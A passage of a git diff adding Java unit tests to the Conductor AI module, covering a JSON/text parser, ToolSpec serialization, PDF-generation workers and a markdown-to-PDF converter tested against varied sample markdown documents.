"{\"emoji\":\"😀\",\"chinese\":\"你好\"}"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertEquals("😀", map.get("emoji")); + assertEquals("你好", map.get("chinese")); + } + + @Test + void testParseJsonWithQuotesInString() { + String json = "{\"quote\":\"He said \\\"hello\\\"\"}"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertTrue(((String) map.get("quote")).contains("hello")); + } + + // ========== parseTextOrJson (JsonNode) Tests ========== + + @Test + void testParseTextOrJsonReturnsJsonNode() { + String json = "{\"num\":127}"; + JsonNode result = parser.parseTextOrJson(json); + + assertTrue(result.isObject()); + assertEquals(127, result.get("num").asInt()); + } + + @Test + void testParseTextOrJsonReturnsTextNode() { + String text = "plain text"; + JsonNode result = parser.parseTextOrJson(text); + + assertTrue(result.isTextual()); + assertEquals(text, result.asText()); + } + + @Test + void testParseTextOrJsonWithNullReturnsEmptyText() { + JsonNode result = parser.parseTextOrJson(null); + assertTrue(result.isTextual()); + assertEquals("", result.asText()); + } + + // ========== Complex Real-World Examples ========== + + @Test + void testParseMcpToolResponse() { + // Simulates actual MCP tool response + String mcpResponse = "{\"num\":127,\"nested\":{\"array\":[1,2,3]},\"message\":\"success\"}"; + Object result = parser.parseTextOrJsonAsObject(mcpResponse); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertEquals(127, map.get("num")); + assertEquals("success", map.get("message")); + assertInstanceOf(Map.class, map.get("nested")); + } + + @Test + void testParseJsonLikeTextThatIsNotJson() { + // Text that looks like JSON but isn't + String text = "The value is {num: 127} but this isn't JSON"; + Object result = parser.parseTextOrJsonAsObject(text); + + assertInstanceOf(String.class, result); + assertEquals(text, result); + } + + @Test + void testParseLargeJsonObject() { + StringBuilder json = new StringBuilder("{"); + for (int i = 0; i < 100; i++) { + if (i > 0) json.append(","); + json.append("\"key").append(i).append("\":").append(i); + } + json.append("}"); + + Object result = parser.parseTextOrJsonAsObject(json.toString()); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertEquals(100, map.size()); + assertEquals(42, map.get("key42")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/models/ToolSpecTest.java b/ai/src/test/java/org/conductoross/conductor/ai/models/ToolSpecTest.java new file mode 100644 index 0000000..0cc6026 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/models/ToolSpecTest.java @@ -0,0 +1,65 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.models; + +import java.util.Map; + +import org.conductoross.conductor.ai.model.ToolSpec; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.jupiter.api.Assertions.*; + +class ToolSpecTest { + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + @Test + void selfDescribing_true_roundTrips() throws Exception { + String json = "{\"name\":\"t\",\"inputSchema\":{},\"selfDescribing\":true}"; + ToolSpec spec = objectMapper.readValue(json, ToolSpec.class); + assertTrue(spec.isSelfDescribing(), "selfDescribing must survive deserialization"); + + String serialized = objectMapper.writeValueAsString(spec); + ToolSpec roundTripped = objectMapper.readValue(serialized, ToolSpec.class); + assertTrue(roundTripped.isSelfDescribing()); + } + + @Test + void selfDescribing_absent_defaultsFalse() throws Exception { + String json = "{\"name\":\"t\",\"inputSchema\":{}}"; + ToolSpec spec = objectMapper.readValue(json, ToolSpec.class); + assertFalse(spec.isSelfDescribing(), "absent selfDescribing must default to false"); + } + + @Test + void selfDescribing_false_explicit_roundTrips() throws Exception { + String json = "{\"name\":\"t\",\"selfDescribing\":false}"; + ToolSpec spec = objectMapper.readValue(json, ToolSpec.class); + assertFalse(spec.isSelfDescribing()); + } + + @Test + void selfDescribing_setterGetter() { + ToolSpec spec = new ToolSpec(); + spec.setName("tool"); + spec.setInputSchema(Map.of("type", "object")); + spec.setSelfDescribing(true); + assertTrue(spec.isSelfDescribing()); + spec.setSelfDescribing(false); + assertFalse(spec.isSelfDescribing()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/pdf/DocumentGenWorkersTest.java b/ai/src/test/java/org/conductoross/conductor/ai/pdf/DocumentGenWorkersTest.java new file mode 100644 index 0000000..2b4fbb0 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/pdf/DocumentGenWorkersTest.java @@ -0,0 +1,219 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.MarkdownToPdfRequest; +import org.conductoross.conductor.ai.tasks.worker.DocumentGenWorkers; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.mockito.MockedStatic; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +class DocumentGenWorkersTest { + + private DocumentGenWorkers workers; + private MarkdownToPdfConverter mockConverter; + private DocumentLoader mockLoader; + + @BeforeEach + void setUp() { + mockConverter = mock(MarkdownToPdfConverter.class); + mockLoader = mock(DocumentLoader.class); + when(mockLoader.supports(argThat(s -> s != null && !s.startsWith("s3://")))) + .thenReturn(true); + when(mockLoader.upload(anyMap(), eq("application/pdf"), any(byte[].class), anyString())) + .thenAnswer( + invocation -> { + String uri = invocation.getArgument(3); + return uri; + }); + + Environment env = mock(Environment.class); + when(env.getProperty(eq("conductor.file-storage.parentDir"), anyString())) + .thenReturn("/tmp/test-payload/"); + + workers = new DocumentGenWorkers(mockConverter, List.of(mockLoader), env); + } + + private void withMockedTaskContext(Runnable action) { + Task task = mock(Task.class); + when(task.getWorkflowInstanceId()).thenReturn("wf-123"); + when(task.getTaskId()).thenReturn("task-456"); + + TaskContext taskContext = mock(TaskContext.class); + when(taskContext.getTask()).thenReturn(task); + + try (MockedStatic mockedStatic = mockStatic(TaskContext.class)) { + mockedStatic.when(TaskContext::get).thenReturn(taskContext); + action.run(); + } + } + + @Test + void testGeneratePdfWithValidInput() { + byte[] pdfBytes = new byte[] {0x25, 0x50, 0x44, 0x46}; // %PDF + when(mockConverter.convert(any(MarkdownToPdfRequest.class))).thenReturn(pdfBytes); + + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder().markdown("# Test\n\nHello").build(); + + LLMResponse response = workers.generatePdf(request); + + assertNotNull(response); + assertEquals("COMPLETED", response.getFinishReason()); + assertNotNull(response.getMedia()); + assertEquals(1, response.getMedia().size()); + assertEquals("application/pdf", response.getMedia().get(0).getMimeType()); + assertNotNull(response.getMedia().get(0).getLocation()); + + // Verify result map + @SuppressWarnings("unchecked") + Map result = (Map) response.getResult(); + assertNotNull(result.get("location")); + assertEquals(4, result.get("sizeBytes")); + }); + } + + @Test + void testGeneratePdfWithBlankMarkdownThrowsException() { + assertThrows( + NonRetryableException.class, + () -> { + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder().markdown("").build(); + workers.generatePdf(request); + }); + }); + } + + @Test + void testGeneratePdfWithNullMarkdownThrowsException() { + assertThrows( + NonRetryableException.class, + () -> { + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder().markdown(null).build(); + workers.generatePdf(request); + }); + }); + } + + @Test + void testGeneratePdfWithCustomOutputLocation() { + byte[] pdfBytes = new byte[] {1, 2, 3}; + when(mockConverter.convert(any(MarkdownToPdfRequest.class))).thenReturn(pdfBytes); + + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Custom Location") + .outputLocation("file:///custom/path/output.pdf") + .build(); + + LLMResponse response = workers.generatePdf(request); + + @SuppressWarnings("unchecked") + Map result = (Map) response.getResult(); + assertEquals("file:///custom/path/output.pdf", result.get("location")); + + verify(mockLoader) + .upload( + anyMap(), + eq("application/pdf"), + eq(pdfBytes), + eq("file:///custom/path/output.pdf")); + }); + } + + @Test + void testGeneratePdfWithDefaultOutputLocation() { + byte[] pdfBytes = new byte[] {1, 2, 3}; + when(mockConverter.convert(any(MarkdownToPdfRequest.class))).thenReturn(pdfBytes); + + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder().markdown("# Default Location").build(); + + LLMResponse response = workers.generatePdf(request); + + @SuppressWarnings("unchecked") + Map result = (Map) response.getResult(); + String location = (String) result.get("location"); + assertTrue(location.startsWith("/tmp/test-payload/")); + assertTrue(location.contains("wf-123")); + assertTrue(location.contains("task-456")); + assertTrue(location.endsWith(".pdf")); + }); + } + + @Test + void testGeneratePdfWithUnsupportedOutputLocation() { + byte[] pdfBytes = new byte[] {1, 2, 3}; + when(mockConverter.convert(any(MarkdownToPdfRequest.class))).thenReturn(pdfBytes); + + assertThrows( + NonRetryableException.class, + () -> { + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Unsupported") + .outputLocation("s3://bucket/key.pdf") + .build(); + workers.generatePdf(request); + }); + }); + } + + @Test + void testConverterIsCalledWithRequest() { + byte[] pdfBytes = new byte[] {1}; + when(mockConverter.convert(any(MarkdownToPdfRequest.class))).thenReturn(pdfBytes); + + withMockedTaskContext( + () -> { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Verify Call") + .pageSize("LETTER") + .theme("compact") + .build(); + + workers.generatePdf(request); + + verify(mockConverter).convert(request); + }); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverterTest.java b/ai/src/test/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverterTest.java new file mode 100644 index 0000000..c04f4d7 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverterTest.java @@ -0,0 +1,1193 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.io.IOException; +import java.util.List; +import java.util.Map; + +import org.apache.pdfbox.Loader; +import org.apache.pdfbox.pdmodel.PDDocument; +import org.apache.pdfbox.text.PDFTextStripper; +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.conductoross.conductor.ai.model.MarkdownToPdfRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +/** + * Comprehensive tests for the MarkdownToPdfConverter. Tests 10+ different markdown document + * structures and validates PDF output correctness, layout options, and edge cases. + */ +class MarkdownToPdfConverterTest { + + private MarkdownToPdfConverter converter; + private PdfImageResolver imageResolver; + + @BeforeEach + void setUp() { + DocumentLoader httpLoader = mock(DocumentLoader.class); + when(httpLoader.supports(argThat(s -> s != null && s.startsWith("http")))).thenReturn(true); + + imageResolver = new PdfImageResolver(List.of(httpLoader)); + converter = new MarkdownToPdfConverter(imageResolver); + } + + /** Helper to convert markdown and return a valid PDDocument for assertions. */ + private PDDocument convertAndLoad(String markdown) throws IOException { + return convertAndLoad(markdown, null); + } + + private PDDocument convertAndLoad(String markdown, String pageSize) throws IOException { + MarkdownToPdfRequest.MarkdownToPdfRequestBuilder builder = + MarkdownToPdfRequest.builder().markdown(markdown); + if (pageSize != null) { + builder.pageSize(pageSize); + } + byte[] pdf = converter.convert(builder.build()); + assertNotNull(pdf); + assertTrue(pdf.length > 0); + return Loader.loadPDF(pdf); + } + + private String extractText(PDDocument doc) throws IOException { + PDFTextStripper stripper = new PDFTextStripper(); + return stripper.getText(doc); + } + + // ======================================================================== + // Document 1: Basic Headings & Paragraphs + // ======================================================================== + + @Nested + @DisplayName("Document 1: Headings and Paragraphs") + class HeadingsAndParagraphs { + + static final String MARKDOWN = + """ + # Main Title + + This is the first paragraph with some introductory text. + + ## Section One + + Content under section one. This has multiple sentences. The paragraph should wrap properly across lines in the PDF. + + ### Subsection 1.1 + + More detailed content here. + + #### Level 4 Heading + + Deep nested content. + + ##### Level 5 Heading + + Even deeper. + + ###### Level 6 Heading + + The deepest heading level. + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertNotNull(doc); + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsAllHeadingText() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Main Title")); + assertTrue(text.contains("Section One")); + assertTrue(text.contains("Subsection 1.1")); + assertTrue(text.contains("Level 4 Heading")); + assertTrue(text.contains("Level 5 Heading")); + assertTrue(text.contains("Level 6 Heading")); + } + } + + @Test + void testContainsParagraphText() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("first paragraph")); + assertTrue(text.contains("Content under section one")); + assertTrue(text.contains("More detailed content")); + } + } + } + + // ======================================================================== + // Document 2: Text Emphasis & Formatting + // ======================================================================== + + @Nested + @DisplayName("Document 2: Text Emphasis and Inline Formatting") + class EmphasisAndFormatting { + + static final String MARKDOWN = + """ + # Formatting Test + + This paragraph has **bold text** and *italic text* and ***bold italic text***. + + Here is some ~~strikethrough text~~ mixed with regular text. + + Inline `code` appears within a sentence. Multiple `code spans` can appear. + + A paragraph with **bold at the start** and another with *italic at the end*. + + Mix of all: **bold**, *italic*, `code`, and ~~strikethrough~~ in one paragraph. + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsFormattedText() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("bold text")); + assertTrue(text.contains("italic text")); + assertTrue(text.contains("strikethrough text")); + assertTrue(text.contains("code")); + } + } + } + + // ======================================================================== + // Document 3: Bullet Lists (Simple, Nested) + // ======================================================================== + + @Nested + @DisplayName("Document 3: Bullet Lists") + class BulletLists { + + static final String MARKDOWN = + """ + # Bullet Lists + + Simple list: + + - First item + - Second item + - Third item + + Nested list: + + - Level 1 item A + - Level 2 item A1 + - Level 2 item A2 + - Level 3 item A2a + - Level 1 item B + - Level 2 item B1 + + Mixed content list: + + - Item with **bold** text + - Item with `inline code` + - Item with a [link](http://example.com) + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsListItems() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("First item")); + assertTrue(text.contains("Second item")); + assertTrue(text.contains("Third item")); + assertTrue(text.contains("Level 1 item A")); + assertTrue(text.contains("Level 2 item A1")); + assertTrue(text.contains("Level 3 item A2a")); + } + } + } + + // ======================================================================== + // Document 4: Ordered Lists & Task Lists + // ======================================================================== + + @Nested + @DisplayName("Document 4: Ordered Lists and Task Lists") + class OrderedAndTaskLists { + + static final String MARKDOWN = + """ + # Ordered Lists + + 1. First step + 2. Second step + 3. Third step + + Nested ordered: + + 1. Main step one + 1. Sub-step 1a + 2. Sub-step 1b + 2. Main step two + + ## Task List + + - [x] Completed task + - [ ] Pending task + - [x] Another done task + - [ ] Still to do + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsOrderedItems() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("First step")); + assertTrue(text.contains("Second step")); + assertTrue(text.contains("Main step one")); + assertTrue(text.contains("Sub-step 1a")); + } + } + + @Test + void testContainsTaskListItems() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Completed task")); + assertTrue(text.contains("Pending task")); + } + } + } + + // ======================================================================== + // Document 5: Code Blocks + // ======================================================================== + + @Nested + @DisplayName("Document 5: Code Blocks") + class CodeBlocks { + + static final String MARKDOWN = + """ + # Code Examples + + A fenced code block with language: + + ```java + public class Hello { + public static void main(String[] args) { + System.out.println("Hello, World!"); + } + } + ``` + + A fenced code block without language: + + ``` + plain code block + with multiple lines + ``` + + An indented code block: + + indented line 1 + indented line 2 + indented line 3 + + Code with special characters: + + ``` + if (x < 10 && y > 5) { + result = x + y; + } + ``` + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsCodeContent() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Hello")); + assertTrue(text.contains("main")); + assertTrue(text.contains("plain code block")); + } + } + } + + // ======================================================================== + // Document 6: Tables + // ======================================================================== + + @Nested + @DisplayName("Document 6: Tables") + class Tables { + + static final String MARKDOWN = + """ + # Table Examples + + Simple table: + + | Name | Age | City | + |------|-----|------| + | Alice | 30 | New York | + | Bob | 25 | San Francisco | + | Charlie | 35 | London | + + Table with alignment: + + | Left | Center | Right | + |:-----|:------:|------:| + | L1 | C1 | R1 | + | L2 | C2 | R2 | + + Table with formatting: + + | Feature | Status | Notes | + |---------|--------|-------| + | **Bold** | `Active` | Works well | + | *Italic* | `Pending` | In progress | + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsTableData() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Alice")); + assertTrue(text.contains("30")); + assertTrue(text.contains("New York")); + assertTrue(text.contains("Bob")); + assertTrue(text.contains("San Francisco")); + } + } + } + + // ======================================================================== + // Document 7: Blockquotes + // ======================================================================== + + @Nested + @DisplayName("Document 7: Blockquotes") + class Blockquotes { + + static final String MARKDOWN = + """ + # Blockquotes + + A simple blockquote: + + > This is a quoted paragraph. It should be indented with a vertical bar on the left. + + Nested blockquotes: + + > Outer quote + > > Inner quote + > > > Deeply nested quote + + Blockquote with formatting: + + > **Important:** This blockquote contains *formatted* text and `inline code`. + > + > It also spans multiple paragraphs within the same quote block. + + Regular text after the blockquote. + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsBlockquoteText() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("quoted paragraph")); + assertTrue(text.contains("Outer quote")); + assertTrue(text.contains("Inner quote")); + assertTrue(text.contains("Important")); + } + } + } + + // ======================================================================== + // Document 8: Links & Horizontal Rules + // ======================================================================== + + @Nested + @DisplayName("Document 8: Links and Horizontal Rules") + class LinksAndRules { + + static final String MARKDOWN = + """ + # Links and Rules + + A paragraph with an [inline link](https://example.com) in the middle. + + Another [link with title](https://example.com "Example Site") here. + + An auto-linked URL: https://www.conductor.community + + --- + + Content after the first horizontal rule. + + *** + + Content after the second horizontal rule. + + ___ + + Final content. + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsLinkText() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("inline link")); + assertTrue(text.contains("link with title")); + assertTrue(text.contains("Content after the first horizontal rule")); + assertTrue(text.contains("Final content")); + } + } + } + + // ======================================================================== + // Document 9: Images (with mocked resolver) + // ======================================================================== + + @Nested + @DisplayName("Document 9: Images") + class Images { + + static final String MARKDOWN = + """ + # Document with Images + + Here is an image: + + ![Sample Image](http://example.com/sample.png) + + Text continues after the image. + + Another image below: + + ![Logo](http://example.com/logo.jpg) + + Final paragraph. + """; + + @Test + void testProducesValidPdfWithMissingImages() throws IOException { + // Images will fail to load (mocked loader returns null for download) + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + // Should show placeholder text for missing images + assertTrue(text.contains("Sample Image") || text.contains("Image")); + assertTrue(text.contains("Text continues after the image")); + } + } + + @Test + void testImageWithDataUri() throws IOException { + // Create a tiny 1x1 PNG + // This is a minimal valid 1x1 red PNG (67 bytes) + byte[] pngBytes = { + (byte) 0x89, + 0x50, + 0x4E, + 0x47, + 0x0D, + 0x0A, + 0x1A, + 0x0A, + 0x00, + 0x00, + 0x00, + 0x0D, + 0x49, + 0x48, + 0x44, + 0x52, + 0x00, + 0x00, + 0x00, + 0x01, + 0x00, + 0x00, + 0x00, + 0x01, + 0x08, + 0x02, + 0x00, + 0x00, + 0x00, + (byte) 0x90, + 0x77, + 0x53, + (byte) 0xDE, + 0x00, + 0x00, + 0x00, + 0x0C, + 0x49, + 0x44, + 0x41, + 0x54, + 0x08, + (byte) 0xD7, + 0x63, + (byte) 0xF8, + (byte) 0xCF, + (byte) 0xC0, + 0x00, + 0x00, + 0x00, + 0x02, + 0x00, + 0x01, + (byte) 0xE2, + 0x21, + (byte) 0xBC, + 0x33, + 0x00, + 0x00, + 0x00, + 0x00, + 0x49, + 0x45, + 0x4E, + 0x44, + (byte) 0xAE, + 0x42, + 0x60, + (byte) 0x82 + }; + String base64 = java.util.Base64.getEncoder().encodeToString(pngBytes); + String mdWithDataUri = + "# Image Test\n\n![Tiny](data:image/png;base64," + base64 + ")\n\nDone."; + + try (PDDocument doc = convertAndLoad(mdWithDataUri)) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + assertTrue(text.contains("Image Test")); + assertTrue(text.contains("Done")); + } + } + } + + // ======================================================================== + // Document 10: Complex Mixed Document + // ======================================================================== + + @Nested + @DisplayName("Document 10: Complex Mixed Document") + class ComplexMixed { + + static final String MARKDOWN = + """ + # Project Status Report + + **Date:** January 15, 2026 + **Author:** Conductor Team + + ## Executive Summary + + This report covers the progress of the *Conductor* project over Q4 2025. Key highlights include: + + - Completed AI integration module + - Launched vector database support + - Released MCP tool calling + + --- + + ## Technical Progress + + ### Backend Services + + The backend team delivered several critical features: + + 1. **Chat Completion API** - Full support for 11+ LLM providers + 2. **Media Generation** - Image, audio, and video generation + 3. **Vector Search** - MongoDB, PostgreSQL, and Pinecone + + > **Note:** All features are gated behind the `conductor.integrations.ai.enabled` flag. + + ### Code Sample + + Here is an example workflow definition: + + ```json + { + "name": "ai-workflow", + "tasks": [ + { + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4" + } + } + ] + } + ``` + + ### Performance Metrics + + | Metric | Q3 2025 | Q4 2025 | Change | + |--------|---------|---------|--------| + | Latency (p99) | 450ms | 320ms | -29% | + | Throughput | 1200 rps | 1800 rps | +50% | + | Error Rate | 0.5% | 0.2% | -60% | + + ## Action Items + + - [x] Deploy v4.0 to production + - [x] Complete documentation update + - [ ] Performance testing for v4.1 + - [ ] Security audit review + + ## Conclusion + + The team has made *excellent* progress. For more details, visit the [project wiki](https://wiki.example.com). + + --- + + *Report generated by Conductor Workflow Engine* + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsAllSections() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Project Status Report")); + assertTrue(text.contains("Executive Summary")); + assertTrue(text.contains("Technical Progress")); + assertTrue(text.contains("Backend Services")); + assertTrue(text.contains("Performance Metrics")); + assertTrue(text.contains("Action Items")); + assertTrue(text.contains("Conclusion")); + } + } + + @Test + void testContainsTableData() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Latency")); + assertTrue(text.contains("320ms")); + assertTrue(text.contains("Throughput")); + } + } + + @Test + void testContainsCodeBlock() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("ai-workflow")); + assertTrue(text.contains("LLM_CHAT_COMPLETE")); + } + } + } + + // ======================================================================== + // Document 11: Long Document (Page Break Testing) + // ======================================================================== + + @Nested + @DisplayName("Document 11: Long Document with Page Breaks") + class LongDocument { + + @Test + void testLongDocumentCreatesMultiplePages() throws IOException { + StringBuilder md = new StringBuilder("# Long Document\n\n"); + for (int i = 1; i <= 100; i++) { + md.append("## Section ").append(i).append("\n\n"); + md.append("This is paragraph ") + .append(i) + .append(". It contains enough text to take up some space on the page. ") + .append("We need to verify that page breaks happen correctly ") + .append("and content flows from one page to the next.\n\n"); + } + + try (PDDocument doc = convertAndLoad(md.toString())) { + assertTrue( + doc.getNumberOfPages() > 1, + "Long document should span multiple pages, got " + doc.getNumberOfPages()); + } + } + + @Test + void testLongDocumentPreservesAllContent() throws IOException { + StringBuilder md = new StringBuilder("# Content Preservation Test\n\n"); + for (int i = 1; i <= 50; i++) { + md.append("- Item number ").append(i).append("\n"); + } + + try (PDDocument doc = convertAndLoad(md.toString())) { + String text = extractText(doc); + assertTrue(text.contains("Item number 1")); + assertTrue(text.contains("Item number 25")); + assertTrue(text.contains("Item number 50")); + } + } + } + + // ======================================================================== + // Document 12: Edge Cases + // ======================================================================== + + @Nested + @DisplayName("Document 12: Edge Cases") + class EdgeCases { + + @Test + void testMinimalMarkdown() throws IOException { + try (PDDocument doc = convertAndLoad("Hello")) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + assertTrue(text.contains("Hello")); + } + } + + @Test + void testOnlyHeading() throws IOException { + try (PDDocument doc = convertAndLoad("# Just a Title")) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + assertTrue(text.contains("Just a Title")); + } + } + + @Test + void testEmptyParagraphs() throws IOException { + String md = "First\n\n\n\n\nSecond"; + try (PDDocument doc = convertAndLoad(md)) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + assertTrue(text.contains("First")); + assertTrue(text.contains("Second")); + } + } + + @Test + void testSpecialCharacters() throws IOException { + String md = "# Special Characters\n\nAmpersan: & | Angle brackets: < > | Quotes: \" '"; + try (PDDocument doc = convertAndLoad(md)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testVeryLongSingleLine() throws IOException { + String longLine = "Word ".repeat(500); + String md = "# Long Line Test\n\n" + longLine; + try (PDDocument doc = convertAndLoad(md)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testOnlyCodeBlock() throws IOException { + String md = "```\nfunction hello() {\n return 'world';\n}\n```"; + try (PDDocument doc = convertAndLoad(md)) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + assertTrue(text.contains("hello")); + } + } + + @Test + void testOnlyTable() throws IOException { + String md = "| A | B |\n|---|---|\n| 1 | 2 |\n| 3 | 4 |"; + try (PDDocument doc = convertAndLoad(md)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testOnlyList() throws IOException { + String md = "- one\n- two\n- three"; + try (PDDocument doc = convertAndLoad(md)) { + assertTrue(doc.getNumberOfPages() >= 1); + String text = extractText(doc); + assertTrue(text.contains("one")); + assertTrue(text.contains("two")); + assertTrue(text.contains("three")); + } + } + + @Test + void testWhitespaceOnlyMarkdown() throws IOException { + try (PDDocument doc = convertAndLoad(" \n\n \n")) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + } + + // ======================================================================== + // Layout Options Tests + // ======================================================================== + + @Nested + @DisplayName("Layout Options") + class LayoutOptions { + + @Test + void testA4PageSize() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# A4 Test\n\nContent") + .pageSize("A4") + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + // A4 = 595.28 x 